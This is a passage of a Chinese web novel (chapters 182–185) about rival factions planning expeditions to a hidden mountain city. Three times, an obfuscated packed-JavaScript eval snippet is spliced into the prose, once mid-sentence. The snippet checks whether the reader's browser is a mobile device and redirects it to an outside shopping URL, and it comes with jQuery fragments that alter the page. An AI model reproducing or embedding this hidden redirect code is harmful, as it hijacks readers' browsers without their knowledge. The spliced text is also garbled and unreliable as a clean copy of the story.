“好吧,好吧。大人物喜欢聊正经事,没功夫开玩笑。”葛马的声音有些丧气似的,但是,只要是个成年人,都能听出那其中的弄虚作假。紧接着,有些突兀地,红发男人的声音突然变得正式起来,不再那么轻浮,“那我们继续谈谈之前没说完的话题吧……所以,你考虑得怎么样了,贵人?我们时间并不多。” 那两人的交谈并没有刻意避开闻人佐,无论处于楼房里的哪个角落,多多少少都能听见他们的交谈声。 杜光欧清冷的声线传来,“我还没考虑清楚,葛马。你所说的……实在是太笼统了,也太抽象。” “我知道,贵人你找到了更稳妥的方式。”葛马说,“你去甾染,来摄文,终于有人愿意帮助我们了。但是,你相信我,仅仅是得到摄文的支持还远远不够。” 杜光欧的声音再度传来:“枪的使用方法已经被摄文高层掌握,很快就能普及到军队中去。在与黎军的对抗中,甾染战败了,但摄文不会。不过多久,他们就会拥有可以和黎军抗衡的实力。” “我就是怕你会这么想……!”葛马有些懊恼地说,音色颇为激动。只从声音也能听出来,此刻他的肢体动作一定很丰富,“虽然这么说可能有些打击人,但是仅仅掌握了枪的用法是不够的。远远不够。如果不去元城,不去看看那里究竟有什么,就不理解黎礼还有怎样的底牌……!我收到了小道消息,黎军有向元城进发的可能性,要是让她占领了那里,一切就晚了。你必须得去元城看看!” 闻人佐打开了一扇门,交谈声断断续续传进他的耳中,他走进门里,佯装没听见,却无法不去留意他们谈话的内容。 “既然你了解元城,何不把你在那里的发现直接告诉我呢,葛马?”杜光欧问。 “我形容不上来,有太多超出想象的东西了。”葛马说,“你见过不需要燃料的光吗?还有可以走动的金属生物,以及不需要马匹的车……” “我说了,这很抽象。”杜光欧道。 葛马有点急迫,说道:“所以你要亲眼去看啊。” 杜光欧:“在摄文的安排很紧张,我没有时间再抽出时间来做别的事。” 葛马央求道:“算我拜托你了,这样下去不行……” 闻人佐离开了最后一间屋子,所有的房间都被他彻查了一遍,没发现其他的出口,也没有找到那个蓝袍子的身影。 他只能当对方是从某个房间的窗户逃了出去,可这是一栋老楼,因为常年弃置,玻璃上的积霜都是厚厚一层,只有暴力破坏才打得开,可他根本没发现哪扇窗户上有这种痕迹。 线索断了,他只好作罢。 闻人佐回到了两人交谈的地方,杜光欧看到他来,停止了和葛马的谈话。 “找到你要找的人了吗,元帅?”血皑王室问。 “没有,他不在这。”闻人佐摇了摇头,他迟疑了片刻,还是问道,“只是有一件事……我无意中听到了你们的交谈,实在不好意思,但是你们所说的事情,让我有点在意。” 182. 见闻3 杜光欧:“不是什么需要在意的事,元帅。” “怎么就不需要在意了,这可是大事!”葛马喊道。 杜光欧不友善地说道:“葛马,你能别说话吗?” 葛马根本没理杜光欧,像是找到了救星一般,对闻人佐滔滔不绝地说:“摄文的大元帅啊,我知道你们会帮助贵人讨回属于他的权力,但是,我恳请你们,在面对黎军的时候,千万不要掉以轻心。” 闻人佐虽然已经不打算再当大元帅,而且早在三年前他就不领兵打仗了,但是,这并不妨碍他聊上两句,“对待敌人,我们从不给予轻视。但我从你们刚才的谈话听来,你似乎很确信黎军有着强于我们的实力。” “我百分百肯定。”葛马说,“如果黎军选择不和我们打,而是先去元城,取得了那座城市所拥有的技术的话……这世界上,就没有人打得过她了!” 闻人佐沉思了半晌,其实他对现状还有些不明晰,当初姜昆维做出过帮助杜光欧夺回血皑的承诺,但现在他不在了,闻人佐不清楚这个血皑王室和姜雨是否又达成了什么新的协议。 如果黎军当真实力雄厚,他私心认为,帮助这个血皑王室的计划需要重新考量。姜雨才刚上任,政权更替,正是动荡不安的时候,实在不是一个去主动招惹南陆黎军的好时机。 于是乎,闻人佐向杜光欧打探道:“我还不知道陛下打算如何帮助阁下夺回血皑,能说来给我听听吗?” 杜光欧与他开诚布公,“基本还是和姜昆维那时一样。派人寻找横古山脉的通路,另一边去白鸣谷拖延时间。找到通路之后就派大军前往南陆,趁黎军不备偷袭。” 闻人佐想起来,最初寻找横古山脉通路的任务是交到了自己手上,但是他因为闵派还没有消灭的缘由,没有接下姜昆维的指派。姜昆维不悦。为此自己还在决斗场的看台上跪了一整个下午。 一旁,葛马听到了他们的谈话,插嘴说道:“你们要穿越横古山脉?” 杜光欧没有理会葛马的疑问,而是对闻人佐说道:“现在第一要紧的还是先寻找恒古山脉的东部通路,如果找不到的话,那么后续的计划也没办法执行下去。” 闻人佐沉吟一声,陷入自己的思绪里,也没有理会葛马,“如果要说通路的话,听说东边有一些坊间的传言,不敢保证是不是真的,但可以派人去求证一番。” 葛马打了个响指,像突然想起来什么一般,“两位,我有个想法!” 杜光欧:“当下局势紧迫,最好能成立多个小队,进行散布式的搜查。” 闻人佐心里想着自己很快就不是大元帅了,在派遣人手方面帮不上对方什么忙,于是说道:“人手的调派可以与陛下详说。只是现在摄文刚刚迎来新主,难免有所动荡,如若给到的人手不足,还请阁□□谅。” 杜光欧耸耸肩,十分善解人意地说道:“我有求于人,还能奢求什么呢?” “你们有没有人在听我说话啊?”葛马有些愤愤不平地说,“我知道横古山脉哪里还有通路,不用额外浪费人手去找!” 直到这时候,两人才向红发男人的方向看去。 葛马有些气愤,“只有这么说,你们才会注意到我是吗?” 杜光欧呲他,“第一句话不是重点,你为什么会觉得有人有耐心听完你后面的话?” “你……!”葛马结巴了一下,气得脖子都红了,“你真是一点都不如你的——” 他后半句话没说出口,因为杜光欧在用很吓人的目光瞪他。 闻人佐不知道这两人究竟什么关系,是关系好还是关系差,是上下级关系还是单纯的朋友,直到现在,他的看法都还很模糊。但是,这并不妨碍闻人佐按自己的方式处理争端。他介入谈话,“葛马,你刚才说,你知道横古山脉其他的通路?” “是啊,我知道。”葛马道,“就是我一直在说的元城啊。那城市是建在山里的,只要把山脚下的出入口打通,就能自由地穿越南北两地。” 杜光欧紧盯着葛马,说道:“这么重要的信息,你最开始怎么不说?” 葛马:“嗬,我根本不了解你们的打算,哪知道这个信息有用。” “我让你把元城的事都告诉我,你就是不说。”杜光欧道。 葛马掐腰,“我能说上十天十夜,你有耐心听吗?” “你可以挑重点。”杜光欧道。 葛马和他争论,“我怎么知道什么对你来说是重点?我觉得我每句话都很重要。” 至此,闻人佐断定,这两个年轻人是关系还不赖朋友。 “葛马小兄弟,你当真确定那元城贯通山脉的南北吗?”闻人佐问道。 葛马说道:“我很确定!因为我就是从山脉的南边进入了元城,又从北面出来的。” 杜光欧狐疑地盯着葛马,“你是怎么知道那地方的?” 葛马张了张口,似乎兴奋地想说些什么,但是,他突然像个皮球似的瘪了下去,“你别管。” “告诉我。”杜光欧道。 “我不说,说了你又要嫌我烦。”葛马道。 “一句话,十个字的原因,这对你很难吗,葛马?” 葛马吹胡子瞪眼,“我几乎就没有哪次说话是十个字以下的,你想要了我的命吗,贵人?” 杜光欧道:“你以前虽然聒噪,但没现在这么喜欢顶嘴。” 葛马:“我早就想这样了。从你一句话不说离开我们开始,我就——” 两人的拌嘴似乎一开始就没有尽头,闻人佐见状,赶忙打断,“葛马小兄弟,那元城具体在什么方位,你有概念吗?” 葛马停了下来,撅着个嘴,似乎在尽力平复自己的怒气,回想着,“在……离远海不远处的山脉下面。” “那就是比较靠近东部了。”闻人佐说道。 这时候,杜光欧突然神情凝重地看过来,说道:“元帅,当时先王姜昆维派遣你去寻找横古山脉的通路,因为种种原因你拒绝了。现在道路的所在已经明晰,刺客的事情也已经解决了,你愿意带人跟我去一同探查一番吗?” 闻人佐没想到对方会突然这么问,他有些不知所措。自己已经是个准备退休的人了,所有的担子都已经卸下,连姜雨的忙都不想帮,更不要说一个没见过几面的血皑王室。 可他还记得,在准备室奄奄一息的那天,对方是如何在一众金卫之间将自己解救了出来。当时的恩情还未报答,这让闻人佐当下有点进退两难。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13589171|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 犹豫的时候,一个身影在门口一晃而过。 旅所的大门前出现了一个瘦小的男人,他背着光,身形是黑色的剪影,身后跟着的侍者把旅所的小门挤了个水泄不通。 属于当今摄文王的声音传了过来,带着一丝好奇和疑惑,“咦,你们怎么会在一起?” “陛下。”看到来人,闻人佐突然想起来刚才自己是如何贸然离开了行刑台,将正在宣布事情的姜雨丢下。他顿时感觉有些慌张,那感觉仿佛自己做错了什么事一般,“我擅自离开,实在不该。” “哎,没事,我本来就是想公开你卸任的消息,你跑了,我就没说出口,反正我也不是很情愿宣布这件事。”姜雨通情达理地说道,完全没提闻人佐将他留在处刑台上的尴尬。 “我的天。”葛马在后面小声地嘀咕,“那是摄文王吗?我今天算是开了眼界了,怎么净是大人物啊。” 姜雨的目光向杜光欧投来,“就是没想到,佐叔,你绕着城市跑了这么一大圈,居然是来到了光欧阁下这里。” 杜光欧向姜雨点头示意,“陛下。” 姜雨:“你们俩商量什么呢?这么急迫要见面。” 其实不是为了和杜光欧见面……闻人佐心里想。而是追着那个枪杀了姜昆维的人,就莫明来到了这里。 但闻人佐暂时没说明真实原因,因为当下有更重要的事情要转述。 他与杜光欧几人把刚才交谈的内容转告给了姜雨,包括黎军可能的动向,元城的存在,葛马认为它具有的威胁性,以及横古山脉通路的所在。 听完了这些,姜雨沉思了片刻,而后对闻人佐说道:“佐叔,你跟着光欧阁下去元城看看吧。” 闻人佐不由讶异。怎么连姜雨都这么说?一个两个都在把他往元城赶。 姜雨似乎是看出了他的犹豫,把人拉去一旁,小声说:“小芹我会照看好。探明元城的任务一点也不重,我会给你准备很多人手的,你就当出去散散心。” 闻人佐不知道自己有什么好散心的,心下还是拒绝占了上风。 可姜雨不给他说‘不’的机会,忙不迭又道:“也当是帮我个忙。整次姜昆维的事件中,光欧阁下帮了我很多,我还没来及报答他。你陪着他,起码能让人感觉到我是重视这件事的,不然我心不安。” 姜雨这么说,闻人佐再难说出拒绝的话来。 新王的期望,加之闻人佐自身认定对杜光欧救命之恩的亏欠,还是让他将事情答应了下来。 就这样,计划确定了。 在对抗黎军的事件上,摄文将派出执枪军队前往白鸣谷,作势攻打关口,吸引敌军的注意。 而另一边,则派遣一只专业的搜查队前往元城,探寻穿越山脉的通路。这只搜查队由知道元城所在的葛马充当领路人,由原血皑城远征军长杜光欧带队,又由大元帅率军护送,队里其他人则是专业的勘探人员。 而摄文大元帅的撤职,将在这次行动后正式对外公布。 他们即将向元城进发。 只有抵达了那里,亲眼目睹一切,才能判断下一步应该采取怎样的军事行为。 人们匆忙赶往下一个战场,或许战争的硝烟永无法停歇。 183. 光明的背面1 ## 血皑城南部,黄守之森,黄王圣祠。 少女跪在黄王圣像之前,虔诚地握住自己的双手,闭着眼睛,在对那拥有悲悯视线的神像说着些什么。 圣祠之外,一众官兵围拢在这周围,警戒着这一带的安危。 圣祠内,少女停止了一连串的请求,睁开眼睛,站起身,盯着那个僵硬的、不再变化的石像。 她仰视着,说道:“虽然不知道母亲为什么那么敬重你……不过,只要能让她高兴的事,我都会去做。” 她如是说,离开了圣祠。门外有两个官兵把守,她走上前去,问道:“诶,这祠堂里,就是我大哥死掉的地方吧?” 那个官兵转过来,毕恭毕敬地回答道:“是的,公主。杜光遗曾一度被杜光欧杀害,就是在此处。” 黎梦嘟了嘟嘴。心里嘀咕着:怎么大家还是这种说法?母亲似乎也没有向众人表明的意图,看来是要让二哥一直背负着这个罪名了。 不过,既然这样,她也不打算揭穿,以免耽误了母亲的大事。 黎梦瞅了眼里面,圣祠里整洁的地板,完全看不出曾经发生的惨剧。黎梦摇了摇头,说道:“安息吧,大哥。你是个好人,可惜碍了母亲的路。” 她走下台阶,看着这周围的光秃秃的森林,景象并不陌生,只是,她已经很久没有从血皑出来过了。 自从杜光欧向血皑发起总攻、进入王城、而后又被母亲黎礼驱赶出城,到现在已经过去了几个月的时间。这段时间里,黎礼命令黎梦看守血皑,自己带着大将军默龙向甾染发起了进攻。 黎梦百无聊赖,她最擅长领兵打仗,对于驻守一座城市的任务,她却兴致恹恹。最近母亲从甾染回来了,黎梦巴不得每天都黏在她身边,可是没多久就被撵了出来。黎礼让她来黄守之森,接一个南边来的人。 “啊,真是,这种小事为什么要让我来做?”黎梦坐在一颗石头上,拄着自己的下巴,无聊透顶,“这种人还值得我亲自来接?母亲是不是也太高看对方了。” 她这么想着,现在也无事可做,盯着无云的天空,思维发散着飘去了很远。黎梦突然笑起来,那笑容十分得甜美,“这时候,二哥会在做什么呢?哎呀,真期待团聚的那一天。” 时过正午,南边的森林传来了清晰的交谈声。 黎梦从正午的昏昏欲睡中清醒过来,望着南部的森林,却在那密集的树木间看不到什么东西。她招呼过来一个士兵,让对方去前面看看。 过不多久,她派去的人回来了。在士兵的身后,跟着两个人和两头驯鹿。那是一高一矮两个人,高个子的是个男人,矮个子的是个女人。 黎梦眯起眼睛,看清了对方,从石头上跳下来,轻盈地落地,大摇大摆地走过去。 那两人看到她的身影,纷纷驻足。为首的短发女人盯着黎梦,她开口,有些凉薄的声音传来,“黎公主。” “嗯哼。”黎梦随意地应答着。 “这位是擎天。”女人介绍她身边的人。 黎梦看了那高大的男人一眼,不感兴趣,转而对女人说道:“琉城的夏未信,母亲三番五次请你过来,但你却一直推脱。现在终于认清形势,肯加入我们了?” 夏未信双眉清秀,表情淡薄,她说道:“在杜光欧离开琉城后,我便有了加入的打算。” “那怎么现在才来?”黎梦简单干脆地问。 “多亏了你们的计划。”夏未信说道,“杜光欧离开之前,将琉城洗劫一空。这几个月,我都在忙着恢复琉城的建业,那里的人力和物力都很稀缺,为了照顾好城内的人,花了不少时间。” 黎梦轻佻地点评道:“你倒是博爱啊。” “这是对我的赞许吗?”夏未信问,她表情没什么变化,看不出是诚挚地发问,还是怀疑的反问。 “哼。”黎梦不置可否,她话题一转,说道,“母亲已经等候你多时了。上车。” 夏未信从善如流,与擎天登上了为他们准备的车。 几头驯鹿拉着木轮车走出了黄守之森,来到了血皑城南部的平原上,往那圆形的、被壁垒包围的城市进发。 他们入了血皑城,径直沿着南线的大道,畅通无阻地奔向王城。 不过多久,他们穿过了王城的两道大门,而几个月前,这里曾爆发过战争,但现在,基本已经看不出来任何痕迹,尸体被腾挪,建筑被修复,血被擦净,什么都没有留下。 黎梦参与了那场战争,一开始和杜光欧一起,作为所谓的叛军进攻血皑王城。那时候,她杀了很多王室的精锐,那些都是杜义的残党,有清剿的必要。杀那些人,她没有任何的心理负担,那些不过都是无用的生命,无法帮母亲做事,反而会成为她的阻碍,所以必须清除。 至于是她亲自去杀,还是借杜光欧的手剿灭他们,都可以,也都不重要。 母亲和大将军默龙说,杜光欧早晚有一天会知道真相,他在血皑城所杀的人都是忠实于杜义的将军士兵,了解到这些后,他会崩溃。 但是,黎梦却不能理解,这有什么好崩溃的?他们都把哥哥看得太脆弱了,她的二哥一定和自己一样,是那种对弱者弃置果断的聪明人。 当下,鹿车进入了王城,去往了中央最高的建筑长煌宫,黎礼便在那里。 下了车,黎梦给了夏未信一个眼神,叫她跟上。 那个高个子的名叫擎天的男人和夏未信如影随形,黎梦表示只有夏未信能进去,别人只能留在外面。 夏未信侧过身去,对那高个子的男人说道:“擎天,在外面等我吧。” 也不知道那个男人是哑巴还是怎样,从见到他到现在,黎梦没有听过他说一句话。她狐疑地盯着男人,看到他脸上有三道长长的疤痕,那像是肉|体一度被什么撕开而留下的伤痕,一度鲜红,但现在已经变成了褐色。 男人的身体裹在厚厚的外套下面,但是,黎梦依然能在他的裸露的脖子上看到伤痕,那些伤痕像是生长在他的身上的藤蔓,钻入他的衣领,向他全身蔓延。 黎梦盯着,陷入微不可察的沉思。因为,这种怪异的痕迹,母亲身上也有。可她一直不知道黎礼身上的那些伤痕究竟是怎么来的。 收起了视线,黎梦带着夏未信走进长煌宫。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13589172|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 右手边是拱形的廊道,一扇扇巨大的窗户落在地面上,透过那些明亮的窗户,能够看到庭院中的景色。 黎梦带着夏未信来到军事议会厅,她推开了大门,里面的讨论声戛然而止。她没敲门,也不管进来的是不是时机,总而言之,她完成了母亲的任务。 议会厅内,有一个巨大的方桌,方桌上摆放着一个地图,大将军默龙便站在那一旁,拿着一支笔,似乎正在往那地图上描画着些什么。 一旁,黎礼坐在一把椅子上,捂着自己的嘴沉思。 黎梦大大方方走进去,丝毫不顾自己是否打断了什么,向母亲汇报道:“母亲,人我带来了!” 夏未信从她身后走出来,毕恭毕敬地向黎礼点了点头,“黎夫人。” 黎礼也微微颔首,“终于等到你了,夏女士。你跋涉而来,辛苦了。” “这是我应该的。”夏未信道。 黎梦十分自然地来到母亲的身边,就站在她座椅的一侧,像是一个护卫一般。 黎礼动作优雅地伸出一只手,说道:“刚好,我们正在商讨下一步计划,夏女士如果不是特别劳累的话,可以留下来听一听。” 夏未信突然不明所以地说道:“我很少感到劳累,我们都是这样,你是清楚的。” 这句话,黎梦听不懂,却见黎礼笑着默许。 一直在座位上,谁来都没有起身的黎夫人开口说道:“夏女士,属于我们的战争,马上就要展开了。” 夏未信:“我听说你夺取了北边白鸣谷的甾染。” “是的,那是重要的环节。”黎礼如是说,她的目光落在地图上,即便离那有一段距离,透过那薄薄的第一张纸,她好像也能够看到连绵的山脉,“甾染陷落,我们在那里获得了充足的军事物资。下一步计划是击破牧盟的法陆贡,那里是通往元城的重要通路。” “这一天终于来了吗……”夏未信小声说道,捏了捏自己的拳头,像在暗中发力,“需要我做什么,你尽管说。我熟知回去的道路,可以担当向导之职。” 黎礼和蔼地看着她,像一味包容万物的母亲那样,“我们都知道回家的路,孩子。而我之所以让你来,不是为了将你置于险境。只是因为,我们马上要回家了,我希望每一个元城的子民,都能第一时间回到他们的故土。” 黎梦垂下视线,看着自己的母亲。前不久,她刚给母亲过完五十岁的生日,然而,黎礼的容貌却似乎与苍老并不沾边,除了一些细小的皱纹,她依然年轻貌美,惊心动魄,像是被时间遗忘了一般。 想到这里,黎梦摸了摸自己的脸。她也会像母亲那样,永不衰老吗? 恐怕不会吧。自己的血脉并不纯粹,有一半是属于杜义的,这也是黎梦最痛恨自己的地方。 为什么自己是这样的?就是因为这个不洁的血脉,母亲才一直对她…… 黎梦不禁回想起,从很久之前,母亲眼中便对她有着一丝轻微的鄙夷,那很淡,几乎觉察不出来,但是,作为母亲的女儿,作为一个日夜与她相随的人,黎梦不知自己多少次见到那深不可见的厌弃,无数次被其刺痛。 184. 光明的背面2 曾经,黎梦以为是自己哪里做错了,于是总是尽力做得更好一些,可这样也无济于事。渐渐地,她明白了。母亲总是对那些元城人抱有极大的热忱,而对于其他人,目光中总是有着一丝鄙视, 那时候,黎梦才反应过来,母亲眼睛深处的漠视,是对自己体内另一半血液的藐然所致。 黎梦是知道的,黎礼讨厌“黎夫人”这个称呼,就好像她依然和杜义绑定在一起。但是,她们现在身在血皑,不得不顶着这顶帽子,才能名正言顺地坐在这个位置上。 而黎梦恨死了,她恨透了自己的另一半血脉。 一屋子里的人并不知道黎梦心中所想,继续着他们的谈话。 夏未信向黎礼问询道:“你的意思是,不需要我做什么吗?” 或许是因为联想到不开心的事,黎梦此刻的心情很差,她看着夏未信,语气嘲讽地插话,“母亲都那么说了,自然是不需要你做什么,你只要坐享其成就好了。” 黎梦说完,夏未信没什么表示,只是陷入了沉默。琉城来的人盯着大将军身边的桌面,那上面是一张写着许多标志的地图,她走过去,有模有样地看了起来。 黎礼说道:“其实也很简单,我们占领法陆贡,然后前往元城。” 夏未信低着头,看着地形图,说出了自己的见解,“法陆贡……它位于牧盟的西边,如果我们要直接去元城,的确,它就在通路上妨碍着我们。” 黎礼点头,“没错。” 夏未信的指尖在地图上描绘着,从东边的远海移动到了元城,她说道:“但是……牧盟有三个核心都城,麦哲也,都林,法陆贡。如果法陆贡陷落,其他两个核心都城肯定会派出援兵。” 一旁,一直保持沉默的大将军开口说话了,他的声音很低,又沙哑,就像是被粗糙的石砾摩过一般,“元城、麦哲也、都林,这三个地点在一条直线上。消息传递需要时间,我们会尽量悄无声息地占领法陆贡,但是那之后,风声想必无法扼制。法陆贡陷落的消息会传出去,传到距离元城最近的麦哲也。不过,麦哲也的军队反应过来的时候,我们差不多已经抵达元城了。” “被夹击的可能性很大啊。”夏未信道,“不考虑先把整个牧盟平定下来,再带着大家伙回去吗?” 黎梦听她说话,便气不打一处来,“你当是过家家啊,有你说的那么轻松?” 黎礼抬起了一只手,竖起来,拦在黎梦的身前。黎梦知道,那是让她闭嘴的意思。她虽然有些愤愤不平,可还是不敢触怒自己的母亲,安静了下来。 黎礼向夏未信解释道:“我们没有那么多时间。能够唤醒元城的关键……那个女人,她的生命垂危,随时都有可能死去。” 夏未信脸上出现了惊讶的神情,而那是在她风淡云轻的脸上从未显露过的,“你说什么?难道你指的是……不可能,母上还活着吗?把我接出来的时候,她已然风烛残年,我以为她已经……” “母亲还活着。”黎礼如此断定道,“但是,就如你所说的,她已经十分衰老。如果我们再不回去,她可能会孤独地死去。” 夏未信面容震惊,一时无语。 大将军默龙开口说道:“这次作战,我们将派出所有精锐,保证黎夫人和公主第一时间抵达元城。所有都以军队的速度为第一要务,车辆全天无休,士兵们轮班休息,片刻不停。除了最初攻坚法陆贡以外,在后续的进程中,若是遇上敌人,便由军队外围的士兵拖延,保证中心部队的行进。” 夏未信似乎回过了神来,加入了会话,点评道:“这几乎是逃亡所用的阵型。” 黎礼:“是的,一切都是为了我们毫无阻碍地第一时间回去。只要到达了元城,一切都会在掌控之中。没有比这更重要的事情。” 夏未信:“为什么不直接暗中回城?这么兴师动众,肯定会被人盯上。” 黎礼一笑,“你觉得,在我接连攻占两座城池之后,现在盯着我的脑袋的人有多少?” “……不少。” “所以,只带着一小部分人前往,无疑是自寻死路。”黎礼说。 大将军指着地图上,那里有一条沿河的路线,他说道:“我们离开法陆贡后,便沿着这条河向东边走。河是天然的屏障,可以为我们抵御一侧的攻击,只需要在另一侧布置主力部队。” 黎礼:“这次行动,我们没有后援,路上所到的每一个城市村落,都是我们的补给点。” 夏未信迟疑了半晌,说:“看样子,是打算掠夺平民了。” “确实是这个打算。追求速度的行军策略让我军没法带太多辎重,因为距离的原因,也无法往返运送物资。”默龙说道,像下一个结论一般,“这是一场有去无回的征程。” 夏未信突然笑了起来,在巨大的挑战面前表现得跃跃欲试,“黎夫人,你居然会想出这种孤注一掷的做法。” 黎礼勾起嘴角,偏头去拿一旁桌台上的瓷杯,“当然不是我的主意。” “嗯?”夏未信发出疑惑的声音。 “是我的主意。” 突然,会议厅的阴影中响起了一个男人的声音。 谁都没有留意阴影里的人,那里一般只是站着影卫罢了,他们不会聆听,也不会说话。 此刻,阴影中走出了一个人。他披着一头银白色的卷发,穿着干净的白袍,步履轻缓地走上前来,像阵微风一般掠过所有人的身旁。 黎梦对他的出现并不感到意外,这个男人像个鬼似,经常一声不吭地出现,顶着他那头花白的头发招摇过市。 此刻,夏未信的表情说不上多好。方才的笑容烟消云散,她紧盯着男人,脸上是无法相信的神情。 对于夏未信的反应,黎梦并不意外。 这个男人还活着这件事,没几个人知道。 夏未信的表情有些滞愣,她目不转睛,喃喃道:“我听他们说,你死了……” 男人道:“夏女士这么关心我,让我受宠若惊了。” 夏未信说道:“你不是和那个杜光欧在王城里一起被……然后,他逃出来了,但是你没有。” “我的确没逃出去。”男人道,却不再继续解释下去。 座位上的黎礼来回看了两人一番,好像意识到了什么一般,说道:“哦,我险些忘记了。你们两人都在琉城待过,曾经是有过交集的。是吧,白熠?” 白发的男人转向黎礼,回答,“我与夏女士的确有些交情。” 从白熠出现开始,夏未信的视线就没有从他身上扯下来过。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13589173|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黎梦盯着夏未信,她总觉得,这个女人的反应有些过头了。就像是什么呢,像是什么?她说不好。但夏未信这种反应,还有她脸上近乎失而复得的惊乱,都让黎梦起了一身的鸡皮疙瘩,难受得不行。 因为难受,所以,一定要把这种感觉排解出去,而她选择以说话的方式,“很惊讶吗?这位白先生啊,算是个聪明人,知道什么时候该做什么事。在王城的战争结束后,他找上了母亲,因为清楚自己没有和我们抗衡的实力,便投靠了过来。” 白熠笑着说道:“我记得过程似乎不是这样。” “差不多就是这个意思。”黎梦挑衅地道,“你显然是害怕了,不然,为什么不继续跟着哥哥?你显然知道没戏。” 白熠不置可否,没有理会黎梦的挑衅,向那更加庄重的黎礼说道:“不过,说到杜光欧……黎夫人,这次出征,我们得做好他会出现的准备。” 黎礼把瓷杯放回桌台上,搓了搓自己的指尖,慢悠悠地说道:“几个月前,我军抵达甾染,可他却赶在那之前跑了,像个小耗子似的。” “那之后还有他的消息吗?”白熠问。 “他在甾染结识了燕戎真,跟着外交官去北地了。”黎礼说道,不满地叹了一声,“我和燕戎真说过杜光欧的能力,但我不应该说的。我让外交官盯着点,然而他却按照自己的意愿行事,以为自己一个人解决得了杜光欧。而后,最近得到了消息,燕戎真已经死在摄文了,我们也因此失去了摄文的线人。” 白熠说道:“我们得做好最坏的打算,假设杜光欧已经在摄文发展壮大,得到了支持者,他或许也会成为我们前往元城路上的威胁。” “他又能做到些什么呢?”黎礼似乎并不在意,说道,“他空有那种神力,却没什么真本事,只要放着他不管,他就不会成事。” “但他是破局的关键。”白熠说,这句话意味不明,“不能避开他,我们需要他。” “那就是那个红头发该考虑的事情了。”黎礼说道,“我的职责只到唤醒元城,那之后的事,交给专业的人去做。” 黎礼起身,端起一旁桌上装酒的瓷杯,绒裘坠落在地,随着步伐在地面摩擦着。她来到窗边,看着外面的飘雪。天总是黑得很早,下雪的日子,更是如此。 白熠的疑问不依不饶,“如果我们先遇到了杜光欧,怎么办?” “那就按你说的……”黎礼缓慢地说着,嘴中呼出的气在玻璃上形成了一层白雾,“抓住他,捆住四肢,堵住嘴,关起来。不杀他,不给他重新来过的机会。” 黎梦看着自己的母亲,而后者看着窗外。年长的女人就这么保持着那个动作,似乎没有继续谈话的打算。 另一边,一场对话开始了。 是白熠的声音率先传来,它平稳,带着一些笑意,“夏女士,我很高兴在这里见到你,我们兜兜转转又称为了同僚。” 夏未信轻声问道:“那个杜光欧知道你还活着吗?” “怎么问这个问题……”白熠摇摇头,坦然回答,“他不知道。” “我记得你们是关系很好的朋友。”夏未信说。 “嗯,的确是这样。” “那你这是……”夏未信犹犹豫豫,声音一再压低,“背叛了他?” 185. 元城初见1 “算是?” “什么叫算是。” “你为什么在乎我和他的关系呢,夏女士。” 夏未信一顿,这才说道:“……只是好奇。” 白熠沉吟了一声,“哦,我知道了。你担心早晚有一天我也会那么对你。” “我没那么说。” “好吧。”白熠掂量着话语,垂眸说道,“人在知道什么东西是重要的之后,就会放弃一些不重要的,这是没办法的事。” “……什么又是重要的呢?” “真相。”白熠笑着说,将所有其它的情绪掩盖得天衣无缝,“知道了真相,每个人都要为此做出选择,不管是继续为旧时代的恩怨奔波,还是为新时代的到来而……” 那两人之后说了什么,黎梦没有仔细去听。 她来到窗边,靠近她的母亲身边,仰视着她,看她有些惆怅的视线。 “黎梦,属于我们的时代马上就要来了。”黎礼盯着窗外的漫天白雪,说道。 然而,黎梦的眼里没有雪,只有那个似乎永不会老去的女人,“嗯,我会一直陪着母亲,为你的梦想做任何事。” 任何事。黎梦想。 哪怕是要她手刃自己的哥哥,只要是为了母亲,她什么都愿意。 就算要去到天涯海角,颠沛流离,无论如何落魄,又或者如何辉煌,她永远会在母亲的身边,她永远都是母亲的女儿。 黎礼所前往的方向,便是她人生唯一的道路。 ## 雪山山顶。 一行人排成一列,像是一排蚂蚁一样,往山顶上艰难地移动着。 每个人都包裹得严严实实,连眼睛都几乎看不见,缓慢地向前爬行。 直到他们来到了一个木屋,一群人涌了进去,关上木门,用木板和钉子钉牢门框,他们才停下来,在屋子里歇息。 杜光欧脱下了围巾和帽子,即便有发绳绑着头发,它们还是乱成了一团。他没管,比起这些,现在有更加急迫的事情。他的声音沾染上了怒意,对另一边的红头发男人问道:“葛马,你说的入口到底在哪?” 另一边,葛马在和自己的上衣作斗争,因为之前喝水的时候不小心把水洒在了身上,现在那些液体已经冻成了冰,让他没办法脱下自己的外套。在忙碌之中,他回答道:“就快到了!” 